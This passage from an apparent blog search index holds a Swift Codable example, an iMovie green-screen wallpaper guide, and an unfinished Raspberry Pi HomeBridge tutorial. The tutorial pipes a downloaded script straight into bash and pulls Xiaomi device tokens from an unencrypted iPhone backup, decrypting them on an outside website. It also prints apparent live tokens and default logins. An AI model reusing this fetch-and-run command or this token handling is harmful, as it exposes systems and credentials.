Model:class UserModel: NSObject { var type: String var id: Int var name: String var email: String var birthday: Date init(_ entity: UserEntity) { self.type = entity.type self.id = entity.id self.name = entity.name self.email = entity.email self.birthday = entity.birthday }}class SongModel: NSObject { var type: String var id: Int var name: String var createDate: Date init(_ entity: SongEntity) { self.type = entity.type self.id = entity.id self.name = entity.name self.createDate = entity.createDate }}class CommentModel: NSObject { var id: Int var comment: String var commenter: UserModel var targetObject: NSObject? var displayMessage: String //simulation business logic init(_ entity: CommentEntity) { self.id = entity.id self.comment = entity.comment self.commenter = UserModel(entity.commenter) if let userEntity = entity.targetObject as? UserEntity { self.targetObject = UserModel(userEntity) } else if let songEntity = entity.targetObject as? SongEntity { self.targetObject = SongModel(songEntity) } self.displayMessage = \"\\(entity.commenter.name):\\(entity.comment)\" }}//let jsonDecoder = JSONDecoder()let iso8601DateFormatter = ISO8601DateFormatter()var dateFormatter = DateFormatter()jsonDecoder.dateDecodingStrategy = .custom({ (decoder) -> Date in let container = try decoder.singleValueContainer() let dateString = try container.decode(String.self) //ISO8601: if let date = iso8601DateFormatter.date(from: dateString) { return date } //YYYY-MM-DD: dateFormatter.dateFormat = \"yyyy/MM/dd\" if let date = dateFormatter.date(from: dateString) { return date } throw DecodingError.dataCorruptedError(in: container, debugDescription: \"Cannot decode date string \\(dateString)\")})do { let pageEntity = try jsonDecoder.decode(PageEntity<CommentEntity>.self, from: jsonString.data(using: .utf8)!) let comments = pageEntity.results.compactMap { CommentModel($0) } comments.forEach { (comment) in print(comment.displayMessage) }} catch { print(error)}Output:zhgchgli:是告五人,不是五告人!完整範例演示如上!(下)篇&其他場景已更新: 現實使用 Codable 上遇到的 Decode 問題場景總匯(下)總結選擇使用 Codable 的好處,第一當然是因為原生,不用怕後續無人維護、還有寫起來漂亮;但相對的限制較嚴格、比較不能靈活解 JSON String,不然就是要如本文做更多的事去完成、還有效能其實不比使用其他 Mapping 套件優(Decodable 依然使用Objective 時代的 NSJSONSerialization 進行解析),但我想在後續的更新中或許蘋果會對此進行優化,那時我們也不必更動程式。文中場景、範例或許有些很極端,但有時候遇到了也沒辦法;當然希望一般情況下單純的 Codable 就能滿足我們的需求;但有了以上招式之後應該沒有打不倒的問題了! 感謝 @saiday 大大技術支援。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "使用 iPhone 簡單製作「偽」透視透明手機桌布", "url": "/posts/2e4429f410d6/", "categories": "ZRealm, Life.", "tags": "iphone, 生活, imovie, chroma-key, wallpaper", "date": "2020-05-10 15:37:42 +0800", "snippet": "使用 iPhone 簡單製作「偽」透視透明手機桌布應用 iMovie 綠幕摳圖功能合成影片反正我很閒白天工作,被資本家剝削肉體;晚上又被大眾娛樂剝削心靈,依然做不到白天工作、晚上讀書、假日批判的境界 !最近在無腦放鬆的時候, 滑到一個很常見的桌布 APP 廣告,廣告中展示了一個透視透明的桌布很吸睛 ;但可想而知是不可能的,就算後置相機實時取景角度也不可能這麼吻合!【Youtuber內幕】美劇...", "content": "使用 iPhone 簡單製作「偽」透視透明手機桌布應用 iMovie 綠幕摳圖功能合成影片反正我很閒白天工作,被資本家剝削肉體;晚上又被大眾娛樂剝削心靈,依然做不到白天工作、晚上讀書、假日批判的境界 !最近在無腦放鬆的時候, 滑到一個很常見的桌布 APP 廣告,廣告中展示了一個透視透明的桌布很吸睛 ;但可想而知是不可能的,就算後置相機實時取景角度也不可能這麼吻合!【Youtuber內幕】美劇、影集注意!揭發大眾媒體不會告訴你的荼毒真相!白天工作 晚上讀書 假日批判!還原欺騙秘辛|反正我很閒完成效果我們要做個有腦的青年!雖然知道是特效,本來以為會非常複雜;沒想到 iPhone 內建的 iMovie APP 簡單點一點就能製作了。只需要: 一支 iPhone(因為要直接使用 iMovie)、入鏡用手機 一支負責拍攝的手機 or 相機 手機架 or 水瓶…或任何可以支撐手機的物品 iMovie APP (免費下載) 綠色底圖(綠幕)可直接下載此圖或從 網路取得這 5 樣東西就能製作出透視效果!具體流程: 架好負責拍攝的手機 直接拍攝一段乾淨的影片(無手機入鏡) 將要入鏡的手機底圖設為綠色底圖 再拍攝一段入鏡手機的操作影片 開啟 iMovie APP 合成 完成開始1. 將手機架設好、抓好拍攝角度我使用兩個鰻魚罐頭跟一瓶礦泉水當作手機架(如果有立式手機架當然更好!)使用手機架拍攝的目的是由於我們希望兩部影片的角度都是統一的,否則會出現畫面位移的情況,看起來效果就沒那麼好;手持的話勢必不可能兩部影片 100% 視角位置都ㄧ樣。2.拍攝一段乾淨的影片影片想要多長,乾淨的影片就拍攝多長。3.將入鏡手機的桌布設為綠色底圖「設定」-> 「背景圖片」->「選擇下載下來的綠色底圖」->「同時設定」完成圖4.拍攝一段入鏡手機的操作影片影片時長同 2. 乾淨影片;超過也沒關係,之後再裁剪。5.開啟 iMovie APP 建立專案「+」->「影片」-> 選擇「 乾淨的影片 」->「製作影片」插入乾淨的影片到專案中。6. 將播放位置移到最前若沒有將乾淨的影片播放位置移至影片起始點,否則在後續插入綠幕影片時會出現「 將播放磁頭從結尾處移開來加入覆疊 」。7.插入入鏡手機操作影片點擊右上角「+」->「影片」->「全部」選擇「入鏡的操作影片」->「…」->「綠色/藍色螢幕」(俗稱:摳圖)點選上方「入鏡操作影片」->「滾動到有綠色桌布的影格」-> 點擊「綠色區域」-> 完成透視透明8.合成完成!匯出影片確認兩段影片結束時間一致,點擊左上角「完成」-> 下方「分享」 -> 選擇輸出目標 -> 輸出完成9. 完成Tips 可先隱藏有綠色圖標的 APP,如 Line、訊息…. 防止穿幫(因摳圖依據是綠色) 或可使用藍色底圖,改摳藍色;或其他顏色也可(但綠/藍效果最佳) 同原理還有更多玩法,等你發掘!結語just for fun…沒想到 iMovie 功能這麼強大!===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "打造舒適的 WFH 智慧居家環境,控制家電盡在指尖", "url": "/posts/99db2a1fbfe5/", "categories": "ZRealm, Life.", "tags": "homekit, iphone, homebridge, 米家, 生活", "date": "2020-04-20 22:37:49 +0800", "snippet": "打造舒適的 WFH 智慧居家環境,控制家電盡在指尖示範使用樹莓派當 HomeBridge 主機,將所有米家家電串上 HomeKitphoto by picjumbo.com關於因為疫情的關係,在家時間變長了;尤其是要 Work From Home 的話,家裡的電器設備最好都能在 APP 上智能控制,就不用一下子離開去開燈、一下子去開電鍋…等等,很浪費時間。之前寫過一篇「 智慧家居初體驗 — ...", "content": "打造舒適的 WFH 智慧居家環境,控制家電盡在指尖示範使用樹莓派當 HomeBridge 主機,將所有米家家電串上 HomeKitphoto by picjumbo.com關於因為疫情的關係,在家時間變長了;尤其是要 Work From Home 的話,家裡的電器設備最好都能在 APP 上智能控制,就不用一下子離開去開燈、一下子去開電鍋…等等,很浪費時間。之前寫過一篇「 智慧家居初體驗 — Apple HomeKit & 小米米家 」 ,初試使用 HomeBridge 將小米家電串上 HomeKit,實證理論上可行,但實際應用提到的不多,今天這篇算是綜合前篇的進階完整版,包含選擇樹莓派當主機的話該怎麼設定,從頭到尾手把手教學。起因是最近換了 iPhone 11 Pro 能支援 iOS ≥ 13 捷徑的 NFC 自動化功能,就是手機感應到 NFC Tag 就能執行相應的捷徑;雖然 可以直接拿舊的悠遊卡當 NFC Tag ,但太占空間也沒那麼多張卡;我去光華問了一圈都沒有再賣 NFC Tag 感應貼紙,最後才在蝦皮找到 $50 一張,買了 5 張來玩玩,賣家還很貼心的幫我用顏色區隔開。*NFC 自動化功能是綁機型的,只有 iPhone XS/XS max/XR/11/11pro/11pro max 支援這個功能,之前拿 iPhone 8 完全沒 NFC這選項。稍微把玩了一下發現有個問題,就是執行米家 APP 的捷徑時一定要打開「執行時顯示」選項(否則不會真的執行), 感應到 Tag 要執行時還要解鎖 iPhone 、執行時也會開啟捷徑,無法在後台直接感應執行 ;另外實測了如果捷徑是原生蘋果的服務(如:HomeKit 的家電)就能在背景&免解鎖下直接執行;而且 homeKit 的反應速度、穩定度都比米家好很多。這在爽度上有很大的差別,所以就又深入研究了將米家智慧家居系列的產品都接上 HomeKit,有支援 HomeKit 的就直接綁定本篇不贅述;不支援的就照此文教學也一起綁定上去!我的米家智慧家居項目 米家智慧攝影機 雲台版 1080P 米家直流變頻電風扇 米家 LED 智慧檯燈 小米空氣淨化器 3 米家檯燈 Pro(本身就支援 HomeKit) 米家 LED 智慧燈泡 彩光版 * 2 (本身就支援 HomeKit)運作原理做了一張簡易的參考圖,如果智慧家電有支援 HomeKit 就直接串上去、 不支援的智慧家電透過架設「HomeBridge」服務主機(要一直開機)也能橋接串上去 ;在同一個網路環境下(EX: 同個 WiFi)iPhone 可以自由地控制 HomeKit 中的所有家電項目;但若在外部網路,如 4G 行動網路情況下,就需要有一台 Apple TV/HomePod 或 iPad 當家庭中樞主機,在家待命(一樣要一直開著) 才能在外面控制家中的 HomeKit,若無家庭中樞在外面打開家庭 APP 會顯示「 無回應 」。 *若是米家的話,會經由米家伺服器控制家裡的電器,要說的話 會有安全問題,資料都要經過大陸 。需求環境所以一共有兩個設備要一直開著待命,一台是 Apple TV/HomePod 或 iPad 家庭中樞主機;這部分目前無解,無法用其他方式模擬,只能想辦法取得這些設備,如果沒有就只能在家使用 HomeKit 。另一台只要是能 24 hr 待命的電腦(如您的 iMac/MacBook)、閒置的主機(舊的 iMac、Mac Mini)或樹莓派都可以。 *windows 系列未嘗試,不過應該也可以!亦或是你想玩玩也可以直接用目前的電腦來用(可搭配 前篇文章 一起服用)。本文將以樹莓派(Raspberry Pi 3B)、使用 Macbook Pro (MacOS 10.15.4) 操作下作示範,從設定樹莓派的環境從頭開始講;若不是使用樹莓派的朋友可以直接略過跳到 HomeBridge 串接 HomeKit 的部分(這裡都一樣)。Raspberry Pi 3B (special thanks to Lu Xun Huang )若是使用樹莓派還需要一張 micro SD 記憶卡(不用太大,我用 8G)、讀卡機、網路線(設定用,之後可連 WiFi);還有樹莓派需要的軟體: 樹莓派桌面版作業系統(方便大家入門,使用 GUI 版) Etcher 燒錄軟體樹莓派環境設定燒錄作業系統下載完需求的兩個軟體後,我們先將記憶卡放入讀卡機插上電腦;打開 Etcher 程式(balenaEtcher)第一項選擇剛下載的樹莓派作業系統「xxxx.img」、第二項選擇你的記憶卡裝置,然後點擊「Flash!」開始燒錄!此時會跳出要你輸入 MacOS 的密碼 ,輸入後按「Ok」繼續。燒錄中…請稍候….驗證中…請稍候….燒錄成功! *若有出現紅色的 Error ,可嘗試將記憶卡格式化後再次燒錄。重新將讀卡機接上電腦,並在記憶卡內容目錄下建立一個空的 「ssh」 檔案( 或點此下載 )內容空白、不用副檔名,就是個「ssh」檔;讓我們可以用 Terminal 連線進樹莓派。ssh設定樹莓派將記憶卡退出,插入樹莓派上並接上網路線,然後通電開機;並讓 MacBook 跟樹莓派在同個網路環境下。查看樹莓派分配到的 IP 位置得到 樹莓派分配到的 IP 位置是: 192.168.0.110 (本文所有出現的 IP 請自行更換成你查到的結果) 建議將樹莓派設定為指定/保留 IP,否則開機重連後 IP 位置可能會變動,要重新查。使用 SSH 連入樹莓派進行操作打開 Terminal 輸入:ssh pi@你的樹莓派IP位址有詢問就輸入 yes ,密碼輸入預設密碼: raspberry連線成功! *若有出現 WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED 之類的錯誤訊息就先去 /Users/xxxx/.ssh/known_hosts 用文字編輯器打開清空即可樹莓派基本工具安裝、設定1.輸入以下指令安裝 Vim 編輯器:sudo apt-get install vim2.解決以下語系警告:perl: warning: Setting locale failed.perl: warning: Please check that your locale settings: LANGUAGE = (unset), LC_ALL = (unset), LC_LANG = \"zh_TW.UTF-8\", LANG = \"zh_TW.UTF-8\" are supported and installed on your system.perl: warning: Falling back to the standard locale (\"C\").輸入vi .bashrc按「Enter」進入按「 i 」進入編輯模式移動到文件最底部,加上一行「 export LC_ALL=C 」按「Esc」輸入「 :wq! 」儲存退出。再下「 source .bashrc 」更新即可。3.安裝 nvm 管理 nodejs/npm:curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.11/install.sh | bash4.用 nvm 安裝最新版 nodejs :nvm install 12.16.2 *這邊選擇安裝「12.16.2」版本5.確認環境安裝完成:輸入以下指令npm -v和node -v確認沒錯誤訊息即可!6.建立 nodejs 連結輸入以下指令which node取得 nodejs 所在路徑資訊再輸入sudo ln -fs 這邊貼上你 which node 查到的路徑(不用”雙引號) /usr/local/bin/node建立連結設定完成!啟用樹莓派 VNC 遠端桌面功能這邊我們雖然是裝 GUI 版,你當然可以直接將樹莓派接上鍵盤、HDMI 當一般電腦使用,但為了方便我們將使用遠端桌面的方式控制樹莓派。輸入:sudo raspi-config進入設定:選擇第五項「 Interfacing Options 」選擇第三項「 P3 VNC 」使用 「 ← 」選擇「 Yes 」打開VNC 遠端桌面功能啟用成功!使用 「 → 」直接切到「 Finish 」退出設定介面。將 VNC 遠端桌面服務加入到開機自動啟動項我們希望 VNC 遠端桌面服務是樹莓派開機後就自動啟用的。輸入sudo vim /etc/init.d/vncserver按「Enter」進入按「 i 」進入編輯模式#!/bin/sh### BEGIN INIT INFO# Provides: vncserver# Required-Start: $local_fs# Required-Stop: $local_fs# Default-Start: 2 3 4 5# Default-Stop: 0 1 6# Short-Description: Start/stop vncserver### END INIT INFO# More details see:# http://www.penguintutor.com/linux/vnc### Customize this entry# Set the USER variable to the name of the user to start vncserver underexport USER='pi'### End customization requiredeval cd ~$USERcase \"$1\" in start) su $USER -c '/usr/bin/vncserver -depth 16 -geometry 1024x768 :1' echo \"Starting VNC server for $USER \" ;; stop) su $USER -c '/usr/bin/vncserver -kill :1' echo \"vncserver stopped\" ;; *) echo \"Usage: /etc/init.d/vncserver {start|stop}\" exit 1 ;;esacexit 0「Commend」+「C」、「Commend」+「V」複製貼上以上內容進去,按「Esc」輸入「:wq!」儲存退出。再輸入:sudo chmod 755 /etc/init.d/vncserver修改文件權限。再輸入:sudo update-rc.d vncserver defaults 加入到開機自動啟動項目。最後輸入:sudo reboot重新啟動樹莓派。 *重新啟動完成後,再照之前的步驟重新使用 ssh 連線進來。使用 VNC Client 進行連線:這邊使用的是 Chrome 的 APP 「 VNC® Viewer for Google Chrome™ 」,安裝完啟動後,輸入 樹莓派 IP 位置:1 ,請注意後面的 Port:1 要加上! *我使用 Mac 自帶的 VNC:// 無法連線,不確定原因。點選「 Connect 」。點選「 OK 」。輸入登入帳號密碼 ,同 SSH 連線,帳號 pi 預設密碼 raspberry 。成功連入!完成樹莓派初始化設定:再來都是圖形介面!很容易!設定語言、地區、時區。更改樹莓派預設密碼,輸入你要設定的密碼。直接下一步「 Next 」。設定使用 WiFi 連線,之後就不用在插線了。 *但請注意樹莓派 IP位置可能會改變,要再進路由器查詢是否要更新當前作業系統,不趕時間就選「 Next 」更新吧! *更新大約需要20~30分鐘(依照你的網路速度)更新完成後,點擊「 Restart 」重新啟動。樹莓派環境設定完成!HomeBridge 安裝正式進入重頭戲,安裝使用 HomeBridge。使用Terminal ssh 連線進樹莓派或直接使用 VNC 遠端桌面裡的 Terminal。輸入:npm -g install homebridge — unsafe-perm ( 不加 sudo )安裝 HomeBridge安裝完成!建立/修改設定檔(config.json):為了方便編輯,使用 VNC 遠端桌面連線至樹莓派 (也可直接用指令) :點左上角打開「 檔案管理程式 」-> 進入「 /home/pi/.homebridge 」若沒看到「config.json」檔案則在空白處點右鍵「 New File 」-> 輸入檔案名稱「 config.json 」在「 config.json 」上按右鍵用「 Text Editor 」打開貼上以下基礎設定內容:{\t \"bridge\": {\t\t\"name\": \"Homebridge\",\t\t\"username\": \"CC:22:3D:E3:CE:30\",\t\t\"port\": 51826,\t\t\"pin\": \"123-45-568\"}內容不用特別更改,直接照搬即可! 記得存檔!完成!綁定 HomeBridge 到 Homekit輸入:homebridge start ( 不加 sudo )啟用 *若出現 Error: Service name is already in use on the network / port被佔用之類的錯誤可嘗試砍掉服務、改用 homebridge restart 重啟、或重新開機。 *若出現was not registered by any plugin之類的錯誤則代表你還沒有安裝相應的homebridge plugin。 啟動中有更改 設定檔(config.json)內容的話要改下: sudo homebridge restart 重新啟動 HomeBridge *按「Control」+「C」可在 Terminal 關閉退出 HomeBridge 服務。拿出 iPhone 打開「家庭」APP,在「家庭」右上角點「+」,選「加入配件」, 掃描你出現的 QRCode 。這時應該會出現「 找不到配件 」,別擔心!因為我們還沒有加入任何配件到 HomeBridge 橋接器上,沒關係,讓我們繼續往下看。至少要有一個配件才能掃描加入! ! ! (這邊以攝影機為範例) : 至少要有一個配件才能掃描加入! ! ! (這邊以攝影機為範例) : 至少要有一個配件才能掃描加入! ! ! (這邊以攝影機為範例) :第一次掃描加入會出現警告視窗,按「強制加入」即可! 加入過一次後,後面再新增的配件都不用再次掃描了,會自己更新進去!將 HomeBridge 服務加入樹莓派開機自動啟動項目同 VNC 遠端桌面服務,我們也希望 HomeBridge 服務是樹莓派開機後就自動啟用的,不然一但重開機就要再次手動連進來啟用。輸入:which homebridge取得 homebridge 路徑資訊記下此路徑。再輸入:sudo vim /etc/init.d/homebridge按「Enter」進入按「 i 」進入編輯模式#!/bin/sh### BEGIN INIT INFO# Provides:# Required-Start: $remote_fs $syslog# Required-Stop: $remote_fs $syslog# Default-Start: 2 3 4 5# Default-Stop: 0 1 6# Short-Description: Start daemon at boot time# Description: Enable service provided by daemon.### END INIT INFOdir=\"/home/pi\"cmd=\"DEBUG=* 這邊貼上你 which homebridge 查到的路徑\"user=\"pi\"name=`basename $0`pid_file=\"/var/run/$name.pid\"stdout_log=\"/var/log/$name.log\"stderr_log=\"/var/log/$name.err\"get_pid() {cat \"$pid_file\"}is_running() {[ -f \"$pid_file\" ] && ps -p `get_pid` > /dev/null 2>&1}case \"$1\" instart)if is_running; thenecho \"Already started\"elseecho \"Starting $name\"cd \"$dir\"if [ -z \"$user\" ]; thensudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &elsesudo -u \"$user\" $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &fiecho $! > \"$pid_file\"if ! is_running; thenecho \"Unable to start, see $stdout_log and $stderr_log\"exit 1fifi;;stop)if is_running; thenecho -n \"Stopping $name..\"kill `get_pid`for i in 1 2 3 4 5 6 7 8 9 10# for i in `seq 10`doif ! is_running; thenbreakfiecho -n \".\"sleep 1doneechoif is_running; thenecho \"Not stopped; may still be shutting down or shutdown may have failed\"exit 1elseecho \"Stopped\"if [ -f \"$pid_file\" ]; thenrm \"$pid_file\"fifielseecho \"Not running\"fi;;restart)$0 stopif is_running; thenecho \"Unable to stop, will not attempt to start\"exit 1fi$0 start;;status)if is_running; thenecho \"Running\"elseecho \"Stopped\"exit 1fi;;*)echo \"Usage: $0 {start|stop|restart|status}\"exit 1;;esacexit 0將:cmd=”DEBUG=* 這邊貼上你 which homebridge 查到的路徑”替換入你查到的路徑資訊(不用“雙引號)「Commend」+「C」、「Commend」+「V」複製貼上以上內容進去,按「Esc」輸入「:wq!」儲存退出。再輸入:sudo chmod 755 /etc/init.d/homebridge修改文件權限。最後輸入:sudo update-rc.d homebridge defaults加入到開機自動啟動項目。完成! 可直接使用 sudo /etc/init.d/homebridge start 啟用 homebridge 服務。 另可使用: tail -f /var/log/homebridge.err 查看啟動錯誤訊息、 tail -f /var/log/homebridge.log 查看 log 。米家智慧家電串接前準備Homebridge on 起來後,我們就可以開始逐個將所有米家家電加入至 Homebridge 接上 homeKit!首先我們要先將米家智慧家電都加入「 米家APP 」 ,我們要從其中獲取串接上 HomeBridge 的資訊。智慧家電都加入米家 APP 後:將 iPhone 接上 Mac 電腦,打開 Finder/Itunes 介面,選擇接上的手機選備份到「 這部電腦 」、 「 不要勾!替本機備份加密」 ,點「 立即備份 」備份完成後, 下載 安裝備份查看軟體: iBackupViewer打開「 iBackupViewer 」 初次啟動會要你去 Mac「系統偏好設定」- 「安全性與隱私權」-「隱私權」-「+」- 加入「iBackupViewer」 *如有隱私顧慮可關閉網路使用這套軟體、並在使用後移除再次打開「 iBackupViewer 」成功讀取到備份檔後,點擊「剛備份的手機」選擇「 App Stroe 」Icon左方找到「米家 APP (MiHome.app)」-> 右方找到「 數字_mihome.sqlite」 這個檔案並「 選擇 」 -> 右上角「 Export 」-> 「 Selected Files 」 *若有兩個 「數字_mihome.sqlite」檔案,則挑 Created 建立時間最新的來用。將剛剛匯出的 數字_mihome.sqlite 檔案 拖曳進這個網站查看內容:SQLite Viewer sqlite file viewer inloop.github.io可將查詢語法換成:SELECT ZDID,ZNAME,ZTOKEN FROM ‘ZDEVICE’ LIMIT 0,30僅顯示我們需要的欄位資訊 (若有特別的家電套件需要其他的欄位資訊也可以加上去做篩選) ZDID: 裝置 ID ZNAME: 裝置名稱 ZTOKEN: 裝置 ZToken ZTOKEN 不能直接用,要轉換成 “Token” 才能使用。這邊以攝影機的 ZToken 轉換 Token 為例:首先,我們從上面列表取得攝影機的 ZToken 欄位內容7f1a3541f0433b3ccda94beb856c2f5ba2b15f293ce0cc398ea08b549f9c74050143db63ee66b0cdff9f69917680151e但這邊拿到的 TOKEN 還不能用,我們還需要將他轉換打開 http://aes.online-domain-tools.com/ 這個網站: 將剛剛複製出來的 ZTOKEN 貼在「Input Text」,選「Hex」 Key輸入「00000000000000000000000000000000」32個0,ㄧ樣選「Hex」 然後按下「Decrypt!」轉換 全選複製右下角兩行的輸出內容&去掉空格後就是我們要的結果 Token「 6d304e6867384b704b4f714d45314a34 」就是我們要的 Token 結果! *Token 去得方式這塊有嘗試用「miio」直接嗅探的方式,但好像是米家韌體有更新過,已無法用這個方法快速方便得到 Token 了!最後,我們還要知道 裝置的 IP 位址 (這邊一樣以攝影機為例):打開米家APP → 攝影機 → 右上角「…」→設定→網路訊息,得到 IP位址 ! 記錄下 ZDID/Token/IP 這些資訊,供後續使用。將米家智慧家電逐個串入 HomeBridge依照個別裝置需要用到的套件、連線資訊不同,逐個安裝、設定,加入至 HomeBridge。 再來打開 Terminal ssh 連線進樹莓派或直接使用 VNC 遠端桌面裡的 Terminal,繼續後續作業….1.米家攝影機雲臺版:在 Terminal 下命令安裝 MijiaCamera 這個 homebridge 套件 ( 不加 sudo ):npm install -g homebridge-mijia-camera參考前文的修改設定檔(config.json)教學,在檔案中加入 accessories 區塊 :{ \"bridge\":{ \"name\":\"Homebridge\", \"username\":\"CC:22:3D:E3:CE:30\", \"port\":51826, \"pin\":\"123-45-568\" }, \"accessories\":[ { \"accessory\":\"MijiaCamera\", \"name\":\"Mi Camera\", \"ip\":\"\", \"token\":\"\" } ]}accessories: 加入米家攝影機的設定資訊,ip 帶入攝影機 ip、token 帶入帶入前文教學教的 token 記得存檔!然後照 Homebridge 章節教的,啟動/重新啟動/掃描加入 Homebridge;就能在「家庭」APP 中看到攝影機的控制項目了。可控制項目:攝影機開/關2.米家直流變頻電風扇在 Terminal 下命令安裝 homebridge-mi-fan 這個 homebridge 套件 (不加 sudo) :npm install -g homebridge-mi-fan參考前文的修改設定檔(config.json)教學,在檔案中加入 platforms 區塊(若已有則在區塊內「,」新增一個子區塊) :{ \"bridge\":{ \"name\":\"Homebridge\", \"username\":\"CC:22:3D:E3:CE:30\", \"port\":51826, \"pin\":\"123-45-568\" }, \"platforms\":[ { \"platform\":\"MiFanPlatform\", \"deviceCfgs\":[ { \"type\":\"MiDCVariableFrequencyFan\", \"ip\":\"\", \"token\":\"\", \"fanName\":\"room fan\", \"fanDisable\":false, \"temperatureName\":\"room temperature\", \"temperatureDisable\":true, \"humidityName\":\"room humidity\", \"humidityDisable\":true, \"buzzerSwitchName\":\"fan buzzer switch\", \"buzzerSwitchDisable\":true, \"ledBulbName\":\"fan led switch\", \"ledBulbDisable\":true } ] } ]}platforms: 加入米家電風扇設定資訊,ip 帶入攝影機 ip、token 帶入前文教學教的 token、humidity/temperature 可控制是否連動顯示溫濕度計資訊、type 需帶入對應型號的文字 ,支援四種不同型號的電風扇: 智米直流變頻落地扇:ZhiMiDCVariableFrequencyFan 智米自然風風扇:ZhiMiNaturalWindFan 米家直流變頻:MiDCVariableFrequencyFan (台灣賣的) 米家風扇:DmakerFan請自行帶入自己的風扇型號。 記得存檔!然後照 Homebridge 章節教的,啟動/重新啟動/掃描加入 Homebridge;就能在「家庭」APP 中看到攝影機的控制項目了。可控制項目:電風扇開/關、風力大小調整3.小米空氣淨化器 3在 Terminal 下命令安裝 homebridge-xiaomi-air-purifier3 這個 homebridge 套件 (不加 sudo) :npm install -g homebridge-xiaomi-air-purifier3參考前文的修改設定檔(config.json)教學,在檔案中加入 accessories 區塊(若已有則在區塊內「,」新增一個子區塊) :{ \"bridge\":{ \"name\":\"Homebridge\", \"username\":\"CC:22:3D:E3:CE:30\", \"port\":51826, \"pin\":\"123-45-568\" }, \"accessories\":[ { \"accessory\":\"XiaomiAirPurifier3\", \"name\":\"Xiaomi Air Purifier\", \"did\":\"\", \"ip\":\"\", \"token\":\"\", \"pm25_breakpoints\":[ 5, 12, 35, 55 ] } ]}accessories: 加入米家電風扇設定資訊,ip 帶入攝影機 ip、token 帶入前文教學教的 token、did 帶入 zdid 記得存檔!然後照 Homebridge 章節教的,啟動/重新啟動/掃描加入 Homebridge;就能在「家庭」APP 中看到攝影機的控制項目了。可控制項目:空氣清淨機開關、風力大小調整可查看項目:當前溫濕度4.米家 LED 智慧檯燈在 Terminal 下命令安裝 homebridge-yeelight-wifi 這個 homebridge 套件 (不加 sudo) :npm install -g homebridge-yeelight-wifi參考前文的修改設定檔(config.json)教學,在檔案中加入 platforms 區塊(若已有則在區塊內「,」新增一個子區塊) :{ \"bridge\":{ \"name\":\"Homebridge\", \"username\":\"CC:22:3D:E3:CE:30\", \"port\":51826, \"pin\":\"123-45-568\" }, \"platforms\":[ { \"platform\":\"yeelight\", \"name\":\"Yeelight\" } ]}不用特別帶什麼參數進去!若要做更細節的設定可參考 官方文件 (如亮度/色溫…) 記得存檔!智慧檯燈還需改綁定到「 Yeelight 」APP,然後將「區域網路控制」打開才能給 Homebridge 控制。1.在 iPhone 上下載安裝「 Yeelight 」APPApp Store 搜尋「Yeelight」安裝安裝完打開 Yeelight APP -> 「增加裝置」-> 找到「米家檯燈」-> 重新配對綁定最後一步記得打開「 區域網路控制 」 *如果不小心沒點到打開,可以在「裝置」頁 -> 選檯燈裝置進入 -> 點右下角「△」Tab -> 點「局域網控制」進入設定 -> 打開區域網路控制 吐槽一下這個真的有夠爛,米家本身的 APP 沒有此開關功能,一定要綁到 Yeelight APP,也不能解綁或重綁回米家…否則會失效。然後照 Homebridge 章節教的,啟動/重新啟動/掃描加入 Homebridge;就能在「家庭」APP 中看到攝影機的控制項目了。可控制項目:燈開關、色溫調整、亮度調整其他米家智慧家電 homebridge 套件:我最終的 config.json 長這樣:{ \"bridge\":{ \"name\":\"Homebridge\", \"username\":\"CC:22:3D:E3:CE:30\", \"port\":51826, \"pin\":\"123-45-568\" }, \"accessories\":[ { \"accessory\":\"MijiaCamera\", \"name\":\"Mi Camera\", \"ip\":\"192.168.0.105\", \"token\":\"6d304e6867384b704b4f714d45314a34\" }, { \"accessory\":\"XiaomiAirPurifier3\", \"name\":\"Xiaomi Air Purifier\", \"did\":\"270033668\", \"ip\":\"192.168.0.108\", \"token\":\"5c3eeb03065fd8fc6ad10cae1f7cce7c\", \"pm25_breakpoints\":[ 5, 12, 35, 55 ] } ], \"platforms\":[ { \"platform\":\"MiFanPlatform\", \"deviceCfgs\":[ { \"type\":\"MiDCVariableFrequencyFan\", \"ip\":\"192.168.0.106\", \"token\":\"dd1b6f582ba6ce34f959bbbc1c1ca59f\", \"fanName\":\"room fan\", \"fanDisable\":false, \"temperatureName\":\"room temperature\", \"temperatureDisable\":true, \"humidityName\":\"room humidity\", \"humidityDisable\":true, \"buzzerSwitchName\":\"fan buzzer switch\", \"buzzerSwitchDisable\":true, \"ledBulbName\":\"fan led switch\", \"ledBulbDisable\":true } ] }, { \"platform\":\"yeelight\", \"name\":\"Yeelight\" } ]}給大家做參考!我有用到的米家家電如上教學,其他我沒有的就沒去試了,大家可以自己 上 npm 查詢(homebridge-plugin XXX英文名稱) ,然後照上面邏輯大同小異安裝、設定串接上去!這邊附上幾個我找到但沒試過的 homebridge 套件(不保證能用): 小米空氣清淨機1代: homebridge-mi-air-purifier 米家智能插座系列: homebridge-mi-outlet 小米掃地機器人: homebridge-mi-robot_vacuum 米家智能網關: homebridge-mi-aqara小叮嚀 建議到路由器將所有米家家電設定為指定/保留 IP,否則 IP 位置可能會變動,要重新更改 config.json 設定。 如果發現步驟都對但就是串不起來出現錯誤或是在 HomeKit 上一直顯示「無回應」,可以重新嘗試看看;如果還是一樣可能代表套件已失效,要找其他的套件來串接了。(可查看 github issue) 功能失效、反應慢;這個也無解,可以發 issue 告知作者等作者更新,由於是開源專案,不可要求太多了! 綁定完每個家電,都可以啟動一次 Homebridge,再回到 iPhone 上看能不能運作,能的話可以再下「Controle」+「C」終止;當全部家電都綁定好後,可重新啟動樹莓派,讓他在重啟後自己在後台啟動 homebridge 服務;這才是我們要的。結語另外可以在「設定」->「控制中心」->「自訂」中將「家庭」APP 拉上去就能在下拉控制中心中快速操作 HomeKit !全部串上 HomeKit 後只有一個字「爽」!開關的反應更快,只差我沒有家庭中樞沒辦法遠端控制而已,此篇進階 Homebridge 也到此結束,感謝閱讀。回到文章開頭,全都加入 HomeKit 後我們就可以無痛使用 iOS ≥ 13的捷徑自動化功能了。之後再想要來研究 homebridge 套件是怎麼做的?感覺很有趣呢!所以如果有 HomeBridge 套件不合你的操作需求、有套件壞了找不到替代的,就在等我去研究吧!Home assistant還有另一個智慧家庭的平台 Homeassistant 可以刷入樹莓派使用( 但請注意:需要 2A 的電源才有辦法啟動 ); Homeassistant 我也有灌來玩玩看,全 GUI 圖型操作,點一點就能串入家電;之後再來深入研究,感覺他等同於另一個米家平台而已,如果有很多不同廠商的 